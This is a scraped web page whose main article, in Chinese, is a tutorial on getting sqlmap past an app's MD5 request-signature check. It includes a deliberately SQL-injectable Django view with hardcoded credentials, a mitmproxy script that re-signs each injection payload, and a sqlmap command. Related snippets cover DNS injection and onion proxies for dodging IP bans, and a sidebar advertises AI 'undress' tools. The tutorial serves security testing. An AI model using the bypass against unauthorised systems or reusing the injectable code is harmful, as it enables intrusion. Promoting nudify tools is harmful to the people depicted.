L'idée du cryptage des signes de traitement sqlmap
我对公司的APP进行测试的时候发现,我们是将所有的参数内容加上一个32位字符最后在进行MD5加密。由于APP处理的流程首先是验证sign是不是正确,如果验签失败,根本就进不去数据库,为了要使用SQLMAP对其进行测试,于是就写了一个代理数据的脚本,在拦截到数据包之后,对其参数内容和32字符进行加密替换。
注:该脚本适用于公司内部系统,因为能够知道加密的流程;或者能够拿到前端JS的加密方式。
首先我使用Django写了一个程序来模拟公司的系统,流程是获取POST的id和token,并加上自定义加密的字符,由于Django获取到数据是已经经过URLDECODE,所以我用了quote对参数id的内容进行URLENCODE,再进行MD5加密,最后验证请求过来的token是否和参数内容一致。
views.py from django.shortcuts import render from django.http import JsonResponse # Create your views here. import hashlib import MySQLdb import urllib from django.views.decorators.csrf import csrf_exempt @csrf_exempt def index(request): id = request.POST.get("id") token = request.POST.get("token") str = urllib.quote(id+"test") print(str) hl = hashlib.md5() hl.update(str) token1 = hl.hexdigest() print token1 if token == token1: db = MySQLdb.connect("localhost", "root", "123456", "testdb", charset='utf8') cursor = db.cursor() cursor.execute("select * from t_userinfo where id="+id) data = cursor.fetchone() print "Database version : %s " % data db.close() return JsonResponse({"msg":"verity ok"}) else: return JsonResponse({"msg":"verity error."}) models.py class userinfo(models.Model): name = models.CharField(max_length=100) age = models.CharField(max_length=100)
使用BP进行抓包,可以看到当验证正确和验证错误返回的状态。
使用SQLMAP进行测试,发现无法测试。于是我使用mitmproxy,mitmproxy是一个交互式的中间代理HTTP和HTTPS的控制台界面,具体详情可以看这里。
如果要修改的话,只修改wsproxy_request_handle函数,因为这个函数是拦截数据并且篡改数据的过程,其他的代码都是配置过程和运行过程,不用修改。
from mitmproxy.proxy.server import ProxyServer from mitmproxy import flow, controller from mitmproxy import flow, proxy, controller, options import hashlib import re def md5cr(str): hl = hashlib.md5() hl.update(str.encode(encoding='utf-8')) return hl.hexdigest() class WSProxy(flow.FlowMaster): def __init__(self, opts, server, state, unsave_data): super(WSProxy, self).__init__(opts, server, state) self.unsave_data = unsave_data def run(self): try: print("start") flow.FlowMaster.run(self) except KeyboardInterrupt: self.shutdown() @controller.handler def request(self, f): wsproxy_request_handle(f) @controller.handler def response(self, f): wsproxy_response_handle(f) # parser = ResponseParser(f) # insert_result(parser.parser_data()) def wsproxy_request_handle(flow): """wyproxy send data to server before processing""" try: data = flow.request.content.split("&") t = "" for i in data: if i.split("=")[0] != "token": t = t+i.split("=")[1] str = t+"test" sign = md5cr(str) print(str) data1 = re.match("(.*?)token=",flow.request.content).group() flow.request.content = data1+sign print(flow.request.content) except IndexError: pass def wsproxy_response_handle(flow): pass port = 8888 # mode = 'regular' #mode=regular opts = options.Options( listen_port=int(port), mode=mode, cadir="./ssl/", ) unsave_data = False config = proxy.ProxyConfig(opts) state = flow.State() server = ProxyServer(config) m = WSProxy(opts, server, state, unsave_data) m.run()
运行上面的脚本使用SQLMAP代理到上http://IP:8888上面,然后脚本会自动处理sqlmap的payload和生成对应的sign。
python sqlmap.py -r e:\\1.txt -p id --dbms=mysql --batch --proxy=http://192.168.1.240:8888
上面是生成payload和sign的过程,下面是我请求一个payload报错的过程。
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Outils d'IA chauds

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool
Images de déshabillage gratuites

Clothoff.io
Dissolvant de vêtements AI

AI Hentai Generator
Générez AI Hentai gratuitement.

Article chaud

Outils chauds

Bloc-notes++7.3.1
Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)

La fonction SIGN est une fonction très utile intégrée à Microsoft Excel. En utilisant cette fonction, vous pouvez découvrir le signe d'un nombre. Autrement dit, si le nombre est positif. La fonction SIGN renvoie 1 si le nombre est positif, -1 si le nombre est négatif et zéro si le nombre est zéro. Bien que cela semble trop évident, si vous avez une grande colonne contenant de nombreux nombres et que vous souhaitez trouver le signe de tous les nombres, il est très utile d'utiliser la fonction SIGN et de faire le travail en quelques secondes. Dans cet article, nous expliquons 3 méthodes différentes pour utiliser facilement la fonction SIGN dans n'importe quel document Excel pour calculer le signe d'un nombre. Lisez la suite pour apprendre à maîtriser cette astuce intéressante. démarrer

Utilisez sqlmap pour automatiser l'injection dans dvwa, définissez le niveau dvwa sur bas, ouvrez SQLInjection (SQLInjection(Blind)) de dvwa, ouvrez le débogage du navigateur, entrez l'ID utilisateur et soumettez-le, et affichez les requêtes interceptées. Vous pouvez voir qu'il s'agit d'une requête GET, l'url "http://192.168.1.222:8089/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" On la met directement dans salmap pour le tester, utilisez le - u commande -u"http://192.168.1.22

0x00 Présentation Récemment, j'ai rencontré un phénomène étrange lors de l'utilisation des tests d'injection sqlmap. La version supérieure de sqlmap ne peut pas détecter l'injection, mais la version inférieure peut détecter l'injection et les données peuvent être épuisées, ce qui n'est pas un faux positif après. tests comparatifs et visualisation du code source de sqlmap, j'ai trouvé deux petits trous. Format du point d'injection de reproduction du scénario 0x01 : json..."whereparams":[{"name":"keyWord","value":"test"}]} Paramètres injectables : commande valuesqlmap : pythonsqlmap.py-rsqlpk.txt– flush -session-vvsqlmapv1.2.11 ne peut pas injecter de s

Première partie : Utilisation de Sqlmap 1.1 Introduction à sqlmap 1. J'ai mentionné quelques instructions de base sur l'injection SQL, mais l'injection manuelle est très gênante. Nous pouvons utiliser sqlmap, un puissant outil d'injection SQL, pour obtenir des données. # sqlmap est un outil de test d'intrusion open source qui peut détecter et exploiter automatiquement les vulnérabilités d'injection SQL et les serveurs connectés à la base de données. Il dispose d'un moteur de détection très puissant, d'un testeur d'intrusion doté de multiples fonctionnalités, d'un accès au système de fichiers sous-jacent via l'empreinte digitale de la base de données et l'exécution de commandes via une connexion hors bande. Site officiel : sqlmap.org(2)#Bases de données prises en charge : MySQL, Oracle, PostgreS

Parce qu'il est nécessaire d'effectuer des tests d'intrusion sur les sites Web externes, la plupart des sites Web disposent d'un contrôle de fréquence d'accès. Une fois cette fréquence dépassée, l'IP sera directement bannie. Surtout lorsque SQLMAP est en cours d'exécution, il est encore plus "tante rouge", et il se terminera avec une erreur avant la fin de l'exécution de SQLMAP. J'ai donc commencé à étudier le mode proxy de SQLMAP. SQLMAP a deux modes proxy, l'un est un proxy normal (proxy HTTP) et l'autre est un proxy oignon. Au départ, je voulais écrire sur l'application des agents ordinaires, mais Baidu a vu que cet article était suffisamment détaillé et a arrêté de dire des bêtises. Extension Sqlmap - Implémentation d'un pool de proxy IP externe Concentrons-nous sur le proxy onion Au début, lorsque l'onion était utilisé directement pour l'injection, il n'y avait pas de rapport « tante rouge ». Plus tard, à mesure que le nombre de sites Web pénétrés augmentait,

1. Préface Comment détecter l'injection SQL ? Ma réponse est la suivante : lorsque la partie A assure la sécurité, la détection des injections SQL est relativement facile à effectuer. 1) Détection d'injection d'erreur. 2) N'injectez pas de rapports d'erreurs booléennes car les faux positifs sont relativement élevés. 3) Effectuez une injection de temps basée sur le temps, l'exploitation et la maintenance des contacts pour créer des enregistrements de base de données de journaux lents, surveiller le sommeil et évaluer les mots clés. Vous pouvez ajouter le numéro d'identification de la tâche d'analyse à la virgule décimale du temps de sommeil pour faciliter le positionnement. (ps. Cette méthode peut trouver 99 % des injections SQL) Par conséquent, lorsque je fais une injection temporelle basée sur le temps, je limite très sévèrement l'erreur de temps. Cependant, @chengable effectue un travail lié à la sécurité dans la partie B, sur la base de t

Il y a trop peu d'articles sur l'injection DNS pour sqlmap sur Internet. Ils ne présentent que brièvement le paramètre --dns-domain. Les articles pratiques pertinents sont soit vagues, soit mentionnés d'un seul coup, ce qui prête à confusion (principalement malhonnête, la clé est). pas encore Big Boss). Puis j’ai recommencé en me référant aux méthodes sur Internet. Les éléments à préparer incluent un sqlmap, une injection aveugle de Windows, deux noms de domaine et un serveur réseau externe. Un jour, alors que je faisais quelque chose, je suis tombé sur une injection aveugle temporelle. Il s'agissait d'une machine Windows et je me suis souvenu de la méthode d'injection DNS. Avant de commencer, je prévois d'utiliser la commande --sql-shell de sqlmap pour tester la charge utile de l'injection DNS. Tout d'abord, accédez à burpsuite.

Lorsque j'ai testé l'application de l'entreprise, j'ai découvert que nous avions ajouté un caractère 32 bits à tous les contenus des paramètres et finalement effectué le cryptage MD5. Étant donné que le processus de traitement de l'APP vérifie d'abord si le signe est correct, si la vérification de la signature échoue, il ne pourra pas du tout entrer dans la base de données. Afin d'utiliser SQLMAP pour le tester, j'ai écrit un script pour les données proxy après l'interception. le paquet de données, effectue le remplacement crypté de son contenu de paramètre et de 32 caractères. Remarque : ce script convient au système interne de l'entreprise, car vous pouvez connaître le processus de cryptage ou obtenir la méthode de cryptage du JS frontal ; Tout d'abord, j'ai écrit un programme utilisant Django pour simuler le système de l'entreprise. Le processus consistait à obtenir l'ID POST et le jeton, et à ajouter un mot crypté personnalisé.
